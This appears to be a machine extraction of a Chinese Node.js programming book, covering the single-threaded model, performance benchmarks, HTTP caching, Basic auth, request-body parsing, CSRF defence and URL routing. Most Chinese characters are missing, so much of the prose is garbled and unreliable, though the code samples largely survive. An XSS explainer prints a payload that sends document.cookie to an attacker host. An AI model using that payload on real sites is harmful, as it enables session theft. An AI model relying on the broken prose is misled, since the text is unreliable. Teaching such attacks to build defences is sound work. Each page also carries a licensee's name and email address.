尊重版权 1.4 Node 的 7 1 2 3 4 5 11 6 7 8 9 10 读上的。在程,因为了数,与的相, 不一目了了。 在为编程后,过对务的分对事的,在程务的 复杂与实上是一的。 关于程事作的技,我们在4中一探。 1.4.3 Node了JavaScript在中线程的。且在Node中,JavaScript与余线程是 享的。线程的最大好是不用像多线程编程样在的问题,这 没有的在,也没有线程上下的性能上的开。 样,线程也有它自的,这些是学习Node的过程中要对的。极对这 些,可以享到Node的好,也能在的问题,使以高用。线程的 有以下3。 用多CPU。 会起个应用,应用的性。 大量用CPU继续用I/O。 像中JavaScript与UI用一个线程一样,JavaScript时会UI的应 中。在Node中,时的CPU用也会后续的I/O发不用,已的I/O的 数也会不到时。 最解决这大量问题的是Google开发的Gears。它用一个立的程, 要的程序发这个程,在后,过事。这个 量分发到他程上,以的几。后,HTML5定了Web Workers的 ,Google了Gears,Web Workers。Web Workers能创工作线程,以 解决JavaScript大UI的问题。工作线程为了不线程,过的 ,这也使工作线程不能问到线程中的UI。 Node用了与Web Workers相的解决线程中大量的问题child_process。 程的,着Node可以从应对线程在性用多CPU的问 题。过分发到个程,可以大量分解,后过程之的事 ,这可以很好应用的。过Master-Worker的管,也可以 很好管个工作程,以到高的性。 关于过程分用源应用的性,这是一个探的题。 样才能使我们享到的线程编程,高用源请到9。 1.4.4 起初,Node只可以在Linux上。想在Windows上学习使用Node, 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 81 Node 过Cygwin者MinGW。着Node的发,到了它的在,并入了一个Node 实Windows的,在v0.6.0本发时,Node已经能接在Windows上了。 图1-4是Node于libuv实的图。 图1-4 Node于libuv实的图 Windows*nix要于Node在的动,它在作系统与Node上 系统之了一,libuv。目前,libuv已经为多系统实的组。 关于libuv的,我们在3中。 过好的,Node的C++也可以libuv实。目前,了没有 新的C++外,大部分C++都能实的。 1.5 Node 在技术之前,要了解一新技术样的场景,的技术用在 的场景可以起到想不到的。关于Node,探多的要有I/OCPU。 1.5.1 I/O 在Node的推广过程中,数次有人问起Node的应用场景是。有的脚本语言 到一,从线程的,NodeI/O的能是起的。, NodeI/O的应用场景本上是没人反对的。Node网且并I/O,能有 组织起多的源,从多好的服务。 I/O的优势要在于Node用事环的能,不是动一个线程为一个请 服务,源用极。 1.5.2 CPU 一个,在CPU的应用场景中,Node是否能实上,V8的是 分高的。以做,V8的是的。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1.5 Node 的 9 1 2 3 4 5 11 6 7 8 9 10 我们相的数(F0=0,F1=1,Fn=F(n1)+F(n2)(n2))分用脚本语言 写了实,并了n = 40的,以性能。这个测试要CPU作,1-1是 中一次时的。在这些脚本语言中(中CGo语言是语言,用于),Node是 高的,它优的能要自V8的深性能优。 1-1 C with -O2 0m0.202s #0 i686-apple-darwin11-llvm-gcc-4.2 (GCC) 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2336.11.00) Node(C++) 0m1.001s #1 v0.8.8, gcc -O2 Java 0m1.305s #2 Java(TM) SE Runtime Environment (build 1.6.0_35-b10-428-11M3811) Java HotSpot(TM) 64-Bit Server VM (build 20.10-b01-428, mixed mode) Go 0m1.667s #3 Go version go1.0.2 Scala 0m1.808s #4 Scala code runner version 2.9.2 -- Copyright 2002-2011, LAMP/EPFL LuaJIT 0m2.579s #5 LuaJIT 2.0.0-beta10 -- Copyright (C) 2005-2012 Mike Pall. Node 0m2.872s #6 v0.8.8 Ruby 2.0.0-p0 0m27.777s #7 ruby 2.0.0p0 (2013-02-24 revision 39474) [x86_64-darwin12.2.0] pypy 0m30.010s #8 Python 2.7.2 (341e1e3821ff, Jun 07 2012, 15:42:54) [PyPy 1.9.0 with GCC 4.2.1] Ruby 1.9.x 0m37.404s #9 ruby 1.9.3p194 (2012-04-20 revision 35410) [x86_64-darwin12.1.0] Lua 0m40.709s #10 Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio Jython 0m53.699s #11 Jython 2.5.2 PHP 1m17.728s #12 PHP 5.4.6 (cli) (built: Sep 8 2012 23:49:53) Python 1m17.979s #13 Python 2.7.2 Perl 2m41.259s #14 This is perl 5, version 12, subversion 4 (v5.12.4) built for darwin-thread- multi-2level Ruby 1.8.x 3m35.135s #15 ruby 1.8.7 (2012-02-08 patchlevel 358) [universal-darwin12.0] 这样的测试管不能反个语言的性能优,已经可以Node在性能上不 的。从一个,这可以CPU应用实并不可。CPU应用Node 的要是由于JavaScript线程的因,有时的(大环), 会CPU时不能,使后续I/O发起。是分解大务为多个 小务,使能时,不I/O用的发起,这样可时享到并I/O的好 ,能分用CPU。 关于CPU应用,Node的I/O已经解决了在线程上CPU与I/O之 用的问题,I/O的性能CPU的小。对于时的,它的 时过I/O的时,应用场景就要新,因为这I/O还 ,甚至就是一个的场景,本没有I/O。应用场景应用多线程的 。Node没有多线程用于,是还是有以下个分 用CPU。 Node可以过编写C/C++的高用CPU,一些V8不能做到性能极的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 101 Node 过C/C++实。由上的测试可以到,过C/C++的实 数,Java还。 线程的Node不能,甚至用了C/C++后还不,过程的 ,一部分Node程做服务程用于,后用程的 ,与I/O分,这样还能分用多CPU。 CPU不可,是。 1.5.3 有人会JavaScript一统前后端了,会不会他的语言言语中了机。 在Web端,过大多都是的编写的程序,这用下应用数的过程中 着的时,用多线程解决这,多小题大作。在Node 中,语言可天并的性在这场景中分有。对于已有的定系统,并 着我们要。 LinkedIn在他们的动网上的实践了这个问题。有的系统有 定的数,续为统网服务,时为动数源,Node数源做数接, 发并的优势,不用关心它后是用语言实的。 这,国内的经也有很好的实践。经是从有的Java目中分一个 目,在这个目中,没有继续用Java/JSP是用NodeWeb端的开发,使前端工程 在HTTP的端能高灵活开发,了Java的一,用Java 作为后端接中,使有好的定性。者相,补。 1.5.4 的数对Node的分应用是一个的。分应用着对可 性的要高。数要在一个数中要的数。开发了中 应用NodeFox、ITier,数做了分,用是对SQL ,中分解SQL,并多数中数并并。NodeFox能实对多MySQL 数的,一MySQL一样,ITier强大,多个数个数 一样,这的多个数是不的数,MySQL他的数。 这个实也是高用并I/O的。Node高用并I/O的过程,也是高使用数 的过程。对于Node,这个为只是一次的I/O。对于数言,是一次复杂的, 以也是分源的过程。 1.6 Node 在年多的时,Node门,使用者也多。这些使用者对于Node的 自也不相。经过,要有下几。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1.7 11 1 2 3 4 5 11 6 7 8 9 10 一这的是。开了Cocktail,用自 己深的前端,YUI3这个前端的能Node到服务端,使使用者 了工作中一写JavaScript一写PHP的上下。 NodeI/OVox erNode应用在实时语上。国内的朋友 网Node应用在接中,以实时能,网、过socket.io实实 时的能。 I/OeBay是这的。 的NodeFoxeBay的ql.io都是用Node并I/O的能,高使用已有的数。 I/OWeb经LinkedIn的动网是 这,的序请,大用并I/O,加数的Web 的。 NodeNode入Azure的开发中,、在 服务上Node应用托管服务,Joyent是中Node的。这 JavaScript的开发上的优势,以源用、高性能的。 对实时并发有很高的要,网开源了pomelo实时,可 以应用在高实时应用中。 过Java他语言的前端工应用,一些前端工程用 Node写,用前端熟悉的语言为前端熟悉的工。 1.7 本的源下 http://www.infoq.com/cn/articles/what-is-nodejs https://github.com/popular/watched http://groups.google.com/group/nodejs/browse_thread/thread/85f6a3829bc64cb6 http://groups.google.com/groups/profile?enc_user=dPo6jggAAACthftLMWCfUq8U6obMz179 http://search.npmjs.org/ http://code.google.com/p/v8/ http://cnodejs.org/topic/4f16442ccae1f4aa27001137 http://weibo.com/1744667943/eBszJXcEsX1 http://stackoverflow.com/questions/5621812/why-is-node-js-named-node-js http://www.theregister.co.uk/2011/03/01/the_rise_and_rise_of_node_dot_js/page4.html http://ued.taobao.com/blog/2011/09/02/what-is-nod/ http://www.infoq.com/cn/news/2012/04/interview-xueqiu-using-nodejs http://teddziuba.com/2011/10/node-js-is-cancer.html http://www.cnblogs.com/fengmk2/archive/2011/12/14/2288147.html 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 122 ,我想从为你Node。 JavaScript自生以,经没有人它做一门的编程语言,认为它不过是一网页小 脚本已,在Web 1.0时,这脚本语言在网中要有个作用广为,一个是, 一个是网页。一,由于创,以它自的也 编程人广为。到Web 2.0时,前端工程用它大大了网页上的用。在这 个过程中,B/S应用C/S应用优的。至,JavaScript才广起。 在Web 2.0的过程中,前端开发,它们最初用于个本的 ,后着多的用在前端实,JavaScript也从跃到应用开发的上。 在这个过程中,它大经了工、组、前端、前端应用的,图2-1。 图2-1 JavaScript的 经了的后天过程,JavaScript不,以好组织务。从一 个言,它也了JavaScript天就的一能。 在他高语言中,Java有,Python有import机,Ruby有require,PHP有include require。JavaScript过 为了不者接发这URL中的,它可能会过URL一个网,下 http://t.cn/fasdlfj // 者压 http://url.cn/fasdlfb 后最的网发个的在线用。这样一,这hash中的脚本会在这个用 的中,这脚本中的内下 location.href = "http://c.com/?" + document.cookie; 这用的Cookie了c.com,这个就是者的服务,他也就能 到用的Session。后他在客端中用这个Cookie,从实了用的 。用是网管,就可能极大的。 XSS的不这些,这不过多。在这个中,中有用的客 端信的,使,者与用客端相,否不能实。 8.1.6 我们的经过一次C/S到B/S的,在HTTP之上的应用,客 端了应用量的部性外,在、、上也 优势。统客端在后的应用过程中仅仅要数,Web应用还要 的组(HTML、JavaScript、CSS)。这部分内在大多数场景下并不经, 要在次的应用中客端,不,它不要的。网 ,就要多时开页,对于用的会一定。因不 要的,对用对服务者都有好。 为了高性能,YSlow中也到几关于的。 加Expires Cache-Control 到中。 ETags。 Ajax 可。 这我们开这几的源。我们的源,这也是一个要由 服务与作的事情。RFC 2616对有一定的,只有定,个 机才能有立。,POST、DELETE、PUT这为性的请作一不做 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.1 191 1 2 3 4 5 11 6 7 8 9 10 ,大多数只应用在GET请中。使用的程图8-1。 图8-1 使用的程图 ,本没有时,会请服务端的内,并这部分内在本 的个目中。在次请时,它对本,不能定这本 是否可以接使用,它会发起一次请。请,就是在的GET请中, If-Modified-Since,下 If-Modified-Since: Sun, 03 Feb 2013 06:01:12 GMT 它问服务端是否有新的本,本的最后时。服务端没有新的 本,只应一个304,客端就使用本本。服务端有新的本,就新的内 发客端,客端本本。下 var handle = function (req, res) { fs.stat(filename, function (err, stat) { var lastModified = stat.mtime.toUTCString(); if (lastModified === req.headers['if-modified-since']) { res.writeHead(304, "Not Modified"); res.end(); } else { fs.readFile(filename, function(err, file) { var lastModified = stat.mtime.toUTCString(); res.setHeader("Last-Modified", lastModified); res.writeHead(200, "Ok"); res.end(file); }); } 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1928 Web }); }; 这的请用时的实,是时有一些在。 的时动内并不一定动。 时只能到,新的内生。 为HTTP1.1中入了ETag解决这个问题。ETag的是Entity Tag,由服务端生,服 务端可以决定它的生。内生,请不会到时 动的。下是内生的 var getHash = function (str) { var shasum = crypto.createHash('sha1'); return shasum.update(str).digest('base64'); }; 与If-Modified-Since/Last-Modified不的是,ETag的请应是If-None-Match/ETag, 下 var handle = function (req, res) { fs.readFile(filename, function(err, file) { var hash = getHash(file); var noneMatch = req.headers['if-none-match']; if (hash === noneMatch) { res.writeHead(304, "Not Modified"); res.end(); } else { res.setHeader("ETag", hash); res.writeHead(200, "Ok"); res.end(file); } }); }; 在收到ETag: "83-1359871272000"这样的应后,在下次的请中,会在请 中If-None-Match:"83-1359871272000"。 管请可以在内没有的情下,是它会发起一个HTTP请 ,使客端会一定时应。可最好的就是请都不用发起。 是否能接使用本本就是服务端在应内时, 内起。YSlow到的,在应ExpiresCache-Control, 。这个有区 HTTP1.0时,在服务端Expires可以要内,下 var handle = function (req, res) { fs.readFile(filename, function(err, file) { var expires = new Date(); expires.setTime(expires.getTime() + 10 * 365 * 24 * 60 * 60 * 1000); res.setHeader("Expires", expires.toUTCString()); res.writeHead(200, "Ok"); res.end(file); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.1 193 1 2 3 4 5 11 6 7 8 9 10 }); }; Expires是一个GMT的时。在接到这个过后,只要本还在这个 ,在到时之前它都不会发起请。YUI3的CDN实践是在10年后过。 是Expires的在于与服务之的时可能不一,这可能会一些问题, 前过,者到后并没有。在这情下,Cache-Control以的,实 相的能,下 var handle = function (req, res) { fs.readFile(filename, function(err, file) { res.setHeader("Cache-Control", "max-age=" + 10 * 365 * 24 * 60 * 60 * 1000); res.writeHead(200, "Ok"); res.end(file); }); }; 上的为Cache-Control了max-age,它Expires优的在于,Cache-Control 能端与服务端时不的不一性问题,只要时的 过时可。之外,Cache-Control的还能public、private、no-cache、no-store 能的。 由于在HTTP1.0时还不max-age,今的服务端在的下多时对Expires Cache-Control。在中个时在,且时时,max-age会 Expires。 我们了,以到网的目的,是一定,服务 端外新内时,客端新。这使我们在使用时也要为定本, 是URL,一内有新时,我们就发起新的URL请, 使新内能客端新。一的新机有下。 次发,中Web应用的本http://url.com/?v=20130501。 次发,中内的hashhttp://url.com/?hash=afadfadwe。 大,内的hash淘会加高,因为内不一定着Web 应用的本新,内没有新时,本的动的新,因以内 的hash。 8.1.7 Basic Basic认是客端与服务端请时,过用实的一认 。这要它的它在服务端过Node的程。 一个页要Basic认,它会请中的Authorization的内, 的由认加,下 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1948 Web $ curl -v "http://user:pass@www.baidu.com/" > GET / HTTP/1.1 > Authorization: Basic dXNlcjpwYXNz > User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 > Host: www.baidu.com > Accept: */* 在Basic认中,它会用部分组username + ":" + password。后Base64 编,下 var encode = function (username, password) { return new Buffer(username + ':' + password).toString('base64'); }; 用次问网页,URL中也没认内,会应一个401 的,下 function (req, res) { var auth = req.headers['authorization'] || ''; var parts = auth.split(' '); var method = parts[0] || ''; // Basic var encoded = parts[1] || ''; // dXNlcjpwYXNz var decoded = new Buffer(encoded, 'base64').toString('utf-8').split(":"); var user = decoded[0]; // user var pass = decoded[1]; // pass if (!checkUser(user, pass)) { res.setHeader('WWW-Authenticate', 'Basic realm="Secure Area"'); res.writeHead(401); res.end(); } else { handle(req, res); } } 在上的中,应中的WWW-Authenticate用样的认加 。一言,认的情下,会对认信,图8-2 。 图8-2 的认信的对 认过,服务端应200之后,会用,在后续的请 中都上Authorization信。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.2 数据 195 1 2 3 4 5 11 6 7 8 9 10 Basic认有多的,它经过Base64加后在网中,是这于,分 ,一只有在HTTPS的情下才会使用。不过Basic认的分广,几有的 都它。 为了Basic认,RFC 2069了要问认,它加入了服务端机数 认过程,在不做深入的解。 8.2 上的内本都中在HTTP请中,用于GET请大多数他请。部中 的内已经能服务端大多数务作了,是的部大量的数 ,在务中,我们要接收一些数,、、JSON上、XML上。 Node的http只对HTTP的部了解,后触发request事。请中还 有内部分(POST请,它有内),内部分要用自接收解。过 的Transfer-EncodingContent-Length可请中是否有内,下 var hasBody = function(req) { return 'transfer-encoding' in req.headers || 'content-length' in req.headers; }; 在HTTP_Parser解后,内部分会过data事触发,我们只以的 可,下 function (req, res) { if (hasBody(req)) { var buffers = []; req.on('data', function (chunk) { buffers.push(chunk); }); req.on('end', function () { req.rawBody = Buffer.concat(buffers).toString(); handle(req, res); }); } else { handle(req, res); } } 接收到的Buffer为一个Buffer对后,为没有的,时在 req.rawBody。 8.2.1 最为的数就是过网页数到服务端,下

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1968 Web
认的,请中的Content-Type为application/x-www-form-urlencoded, 下 Content-Type: application/x-www-form-urlencoded 由于它的内相 foo=bar&baz=val 因解它分 var handle = function (req, res) { if (req.headers['content-type'] === 'application/x-www-form-urlencoded') { req.body = querystring.parse(req.rawBody); } todo(req, res); }; 后续务中接问req.body就可以到中的数。 8.2.2 了数外,的还有JSONXML,解他们的都相, 都是Content-Type中的决定,中JSON的为application/json,XML的为 application/xml。 要的是,在Content-Type中可能还下的编信 Content-Type: application/json; charset=utf-8 以在做时,要区分,下 var mime = function (req) { var str = req.headers['content-type'] || ''; return str.split(';')[0]; }; 1. JSON 从客端JSON内,这对于Node,要它都不要外的,下 var handle = function (req, res) { if (mime(req) === 'application/json') { try { req.body = JSON.parse(req.rawBody); } catch (e) { // 异常内容响应Bad request res.writeHead(400); res.end('Invalid JSON'); return; } } todo(req, res); }; 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.2 数据 197 1 2 3 4 5 11 6 7 8 9 10 2. XML 解XML复杂一,是社区有XML到JSON对的,这以 xml2js为,下 var xml2js = require('xml2js'); var handle = function (req, res) { if (mime(req) === 'application/xml') { xml2js.parseString(req.rawBody, function (err, xml) { if (err) { // 异常内容响应Bad request res.writeHead(400); res.end('Invalid XML'); return; } req.body = xml; todo(req, res); }); } }; 用的,客端的数是,我们都可以过这数 是,后用对应的解解可。 8.2.3 了的的内外,还有一的。的,内 可以过urlencoded的编内,发服务端,是务场景要用 接。在前端HTML中,与的在于中可以有file 的,以要定性enctype为multipart/form-data,下

在到multipart/form-data时,的请与不。 它的中最为的下 Content-Type: multipart/form-data; boundary=AaB03x Content-Length: 18231 它本次的内是由多部分的,中boundary=AaB03x定的是部分内的分 ,AaB03x是机生的一,的内过在它前加--分, 时在它前后都加上--。外,Content-Length的是的。 上的了一个为diveintonode.js的,并上,生的 下 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 1988 Web --AaB03x\r\n Content-Disposition: form-data; name="username"\r\n \r\n Jackson Tian\r\n --AaB03x\r\n Content-Disposition: form-data; name="file"; filename="diveintonode.js"\r\n Content-Type: application/javascript\r\n \r\n ... contents of diveintonode.js ... --AaB03x-- 的的下 --AaB03x\r\n Content-Disposition: form-data; name="username"\r\n \r\n Jackson Tian\r\n 的下 --AaB03x\r\n Content-Disposition: form-data; name="file"; filename="diveintonode.js"\r\n Content-Type: application/javascript\r\n \r\n ... contents of diveintonode.js ... 一我们是的,解它就分。的一是,由于是 上,像、JSONXML样接收内解的不可接。接收 大小的数量时,我们要分,下 function (req, res) { if (hasBody(req)) { var done = function () { handle(req, res); }; if (mime(req) === 'application/json') { parseJSON(req, done); } else if (mime(req) === 'application/xml') { parseXML(req, done); } else if (mime(req) === 'multipart/form-data') { parseMultipart(req, done); } } else { handle(req, res); } } 这我们req这个对接对应的解,由解自上的内, 接收内并在内中,。 这要到的是formidable。它于解,接收到的写入到系统 的时中,并对应的,下 var formidable = require('formidable'); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.2 数据 199 1 2 3 4 5 11 6 7 8 9 10 function (req, res) { if (hasBody(req)) { if (mime(req) === 'multipart/form-data') { var form = new formidable.IncomingForm(); form.parse(req, function(err, fields, files) { req.body = fields; req.files = files; handle(req, res); }); } } else { handle(req, res); } } 因在务中只要req.bodyreq.files中的内可。 8.2.4 Node了相对的API,过它样的Web应用都是相对的,是在Web 应用中,不不与数上相关的问题。由于Node与前端JavaScript的性,前端 JavaScript甚至可以上到服务接,在这我们并不这样的动作,是内 CSRF相关的问题。 1. 在解、JSONXML部分,我们的是用的有数,后解 ,最后才务。这在在的问题是,它仅仅数量小的请, 一数量过大,发生内的情。者过客端能分大量数 ,者次1 MB的内,只要并发请数量一大,内就会很。 要解决这个问题要有个。 上内的大小,一过,接收数,并应400。 过解,数到中,Node只小数。 在上的上中已经有,这一下Connect中用的上数量的 ,下 var bytes = 1024; function (req, res) { var received = 0, var len = req.headers['content-length'] ? parseInt(req.headers['content-length'], 10) : null; // 如内容过长限制回请求实体过长的状态码 if (len && len > bytes) { res.writeHead(413); res.end(); return; } 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2008 Web // limit req.on('data', function (chunk) { received += chunk.length; if (received > bytes) { // 接收数据发end() req.destroy(); } }); handle(req, res); }; 从上的中我们可以到,数是由包Content-Length的请是否过 的,过接应413。对于没有Content-Length的请,一,在 个data事中定可。一过,服务接收新的数。是JSON XML,极有可能解。对于上线的Web应用,加一个上大小分有于 服务,在时,能定从应对。 2. CSRF CSRF的是Cross-Site Request Forgery,中为请。前了服务端 与客端过Cookie识认用,言,用过问服务端的Session ID 是的,是CSRF的者并不要Session ID就能用中招。 为了解CSRF是样一个过程,这以一个言的。个网有 这样一个言程序,言的接下 http://domain_a.com/guestbook 用过POSTcontent就能言。服务端会自动从Session数中是 的数,补usernameupdatedAt个后数中写入数,下 function (req, res) { var content = req.body.content || ''; var username = req.session.username; var feedback = { username: username, content: content, updatedAt: Date.now() }; db.save(feedback, function (err) { res.writeHead(200); res.end('Ok'); }); } 的情下,的言,就会在中的信。个者发了这的 接在CSRF,他就可以在一个网(http://domain_b.com/attack)上了一个 ,下
图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.3 201 1 2 3 4 5 11 6 7 8 9 10
这情下,者只要个domain_a的用问这个domain_b的网,就会自动 一个言。由于在到domain_a的过程中,会domain_a的Cookie发到服务, 管这个请是自domain_b的,是服务并不情,用也不情。 以上过程就是一个CSRF的过程。这的仅仅是一个言的,的 是的接,程可想。 管过Node接收数分,是问题还是不。好在CSRF并不可 ,解决CSRF的有加机的,下 var generateRandom = function(len) { return crypto.randomBytes(Math.ceil(len * 3 / 4)) .toString('base64') .slice(0, len); }; 也就是,为个请的用,在Session中一个机,下 var token = req.session._csrf || (req.session._csrf = generateRandom(24)); 在做页的过程中,这个_csrf之前端,下
%%
由于是一个机,者相的机的相大,以我们只要在接收 端做一次就能识请是否为的,下 function (req, res) { var token = req.session._csrf || (req.session._csrf = generateRandom(24)); var _csrf = req.body._csrf; if (token !== _csrf) { res.writeHead(403); res.end("访问"); } else { handle(req, res); } } _csrf也可以在于者请中。 8.3 前了多Web请过程中的过程,对于不的务,我们还是有不的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2028 Web ,这了由的问题。本会、MVC、RESTful由。 8.3.1 1. 这的由在解的部分有过,人服的在于URL的与网 目的一,,。这由的也分,请对应的 发客端可。这在前解部分有,不复。 2. 在MVC起之前,动脚本也是本的由,它的 是Web服务URL到对应的,/index.asp/index.php。Web服务 后脚本的解,并入HTTP请的上下。 以下是Apache中PHP的 AddType application/x-httpd-php .php 解脚本,并应,到服务的目的。今大多数的服务都能很能 后时服务动。这在Node中不,要因是的后都 是.js,分不是后端脚本,还是前端脚本,这可不是好的。且Node中Web服务与应 用务脚本是一的,这实。 8.3.2 MVC 在MVC之前,的都是过的,甚至以为是。到 有一天开发者发用请的URL可以脚本在的没有关系。 MVC的要想是务分,要分为以下几。 (Controller),一组为的。 (Model),数相关的作。 图(View),图的。 这是目前最为经的分(图8-3),大言,它的工作下。 由解,URL到对应的为。 为用相关的,数作。 数作后,用图相关数页,到客端。 用页,实都大小,我们在后续中开, 且过。URL做由,这有个分实。一是过工关, 一是自关。前者会有一个对应的由URL到对应的,后者没有这 样的。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.3 203 1 2 3 4 5 11 6 7 8 9 10 图8-3 分 1. 工了要工由外为始外,它对URL的要分灵活,几没有上 的。下的URL都能自由 /user/setting /setting/user 这已经有了一个用信的,下 exports.setting = function (req, res) { // TODO }; 加一个的就,为了后续的,这个use(),下 var routes = []; var use = function (path, action) { routes.push([path, action]); }; 我们在入程序中URL,后对应的,于是就了本的由过程, 下 function (req, res) { var pathname = url.parse(req.url).pathname; for (var i = 0; i < routes.length; i++) { var route = routes[i]; if (pathname === route[0]) { var action = route[1]; action(req, res); return; } } // 处理404请求 handle404(req, res); } 工分,由于它对URL分灵活,以我们可以个都到相的务 ,下 use('/user/setting', exports.setting); use('/setting/user', exports.setting); // 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2048 Web use('/setting/user/jacksontian', exports.setting); 对于的,用上的可,是下的请就了 /profile/jacksontian /profile/hoover 这些请要不的用不的内,这只有个用,系统中在上 个用,我们就不可能工有用的由请,因应生,我们 过以下的就可以到用 use('/profile/:username', function (req, res) { // TODO }); 于是我们我们的,在过use由时要为一个, 后过它,下 var pathRegexp = function(path) { path = path .concat(strict ? '' : '/?') .replace(/\/\(/g, '(?:/') .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function(_, slash, format, key, capture, optional, star){ slash = slash || ''; return '' + (optional ? '' : slash) + '(?:' + (optional ? slash : '') + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')' + (optional || '') + (star ? '(/*)?' : ''); }) .replace(/([\/.])/g, '\\$1') .replace(/\*/g, '(.*)'); return new RegExp('^' + path + '$'); } 上分复杂,言,它能实下的 /profile/:username => /profile/jacksontian, /profile/hoover /user.:ext => /user.xml, /user.json 在我们新部分 var use = function (path, action) { routes.push([pathRegexp(path), action]); }; 以部分 function (req, res) { var pathname = url.parse(req.url).pathname; for (var i = 0; i < routes.length; i++) { 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.3 205 1 2 3 4 5 11 6 7 8 9 10 var route = routes[i]; // 正则配 if (route[0].exec(pathname)) { var action = route[1]; action(req, res); return; } } // 处理404请求 handle404(req, res); } 在我们的由能就能实了,为大量的用工由了。 数 管了,可以实相URL的,是:username到了,还没有解 决。为我们还要一到的内,在务中能下这样用 use('/profile/:username', function (req, res) { var username = req.params.username; // TODO }); 这的目是的内到req.params。一就是,下 var pathRegexp = function(path) { var keys = []; path = path .concat(strict ? '' : '/?') .replace(/\/\(/g, '(?:/') .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function(_, slash, format, key, capture, optional, star){ // 将配的存 keys.push(key); slash = slash || ''; return '' + (optional ? '' : slash) + '(?:' + (optional ? slash : '') + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')' + (optional || '') + (star ? '(/*)?' : ''); }) .replace(/([\/.])/g, '\\$1') .replace(/\*/g, '(.*)'); return { keys: keys, regexp: new RegExp('^' + path + '$') }; } 我们的实的URL到到的实,并到req.params, 下 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2068 Web function (req, res) { var pathname = url.parse(req.url).pathname; for (var i = 0; i < routes.length; i++) { var route = routes[i]; // 正则配 var reg = route[0].regexp; var keys = route[0].keys; var matched = reg.exec(pathname); if (matched) { // 具体 var params = {}; for (var i = 0, l = keys.length; i < l; i++) { var value = matched[i + 1]; if (value) { params[keys[i]] = value; } } req.params = params; var action = route[1]; action(req, res); return; } } // 处理404请求 handle404(req, res); } 至,我们了从(req.query)数(req.body)中到外,还能从 的到。 2. 工的优在于可以很灵活,是目大,由的数量也会很多。从前 端到的,要阅才能定到实的,为有人,是 由不由。实上并没有由,是由一定的自实了由, 由。 上的解部分对这自的实有,言,它下了 分 /controller/action/param1/param2/param3 以/user/setting/12/1987为,它会定controllers目下的user,require 后,用这个的setting(),余的作为数接这个。 function (req, res) { var pathname = url.parse(req.url).pathname; var paths = pathname.split('/'); var controller = paths[1] || 'index'; var action = paths[2] || 'index'; var args = paths.slice(3); var module; 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 8.3 207 1 2 3 4 5 11 6 7 8 9 10 try { // require的缓存机制使有是阻塞的 module = require('./controllers/' + controller); } catch (ex) { handle500(req, res); return; } var method = module[action] if (method) { method.apply(null, [req, res].concat(args)); } else { handle500(req, res); } } 由于这自的没有数的,以用req.params的,是 接过数,下 exports.setting = function (req, res, month, year) { // 如路径为/user/setting/12/1987么month为12year为1987 // TODO }; 事实上工也能作为数,不是过req.params。是这个 ,这不做。 自这由在PHP的MVCCodeIgniter中应用分广,分,在 Node中实它也分。与工相,URL动,它的也要发生动,工 只要动由可。 8.3.3 RESTful MVC大了很多年,到RESTful的,大才识到URL也可以很, 请也能作为分发的。 REST的是Representational State Transfer,中为。REST 的,我们为RESTful。它的学要服务端的内实作一个源, 并在URL上。 一个用的下 /users/jacksontian 这个了一个源,对这个源的作,要在HTTP请上,不是在 URL上。过我们对用的是下这样URL的 POST /user/add?username=jacksontian GET /user/remove?username=jacksontian POST /user/update?username=jacksontian GET /user/get?username=jacksontian 作为要在为上,要使用的请是POSTGET。在RESTful中,它是 下这样的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 2088 Web POST /user/jacksontian DELETE /user/jacksontian PUT /user/jacksontian GET /user/jacksontian 它DELETEPUT请入中,与源的作源的。 对于这个源的,也不过一样在URL的后上。过源 的与后有很大的关, GET /user/jacksontian.json GET /user/jacksontian.xml 在RESTful中,源的由请中的Accept服务端的情决 定。客端时接JSONXML的应,它的Accept是下这样的 Accept: application/json,application/xml 的服务端应要这个,后自己能应的做应。在应中, 过Content-Type客端是,下 Content-Type: application/json ,我们之为的。以REST的就是,过URL源、请 定源的作,过Accept决定源的。 RESTful与MVC并不,且是好的。相MVC,RESTful只是HTTP请 也加入了由的过程,以在URL上源。 为了Node能RESTful,我们了我们的。use是对有请的 ,在RESTful的场景下,我们要区分请。下 var routes = {'all': []}; var app = {}; app.use = function (path, action) { routes.all.push([pathRegexp(path), action]); }; ['get', 'put', 'delete', 'post'].forEach(function (method) { routes[method] = []; app[method] = function (path, action) { routes[method].push([pathRegexp(path), action]); }; }); 上的加了get()、put()、delete()、post()4个后,我们过下的 由 // 加用户 app.post('/user/:username', addUser); // 用户 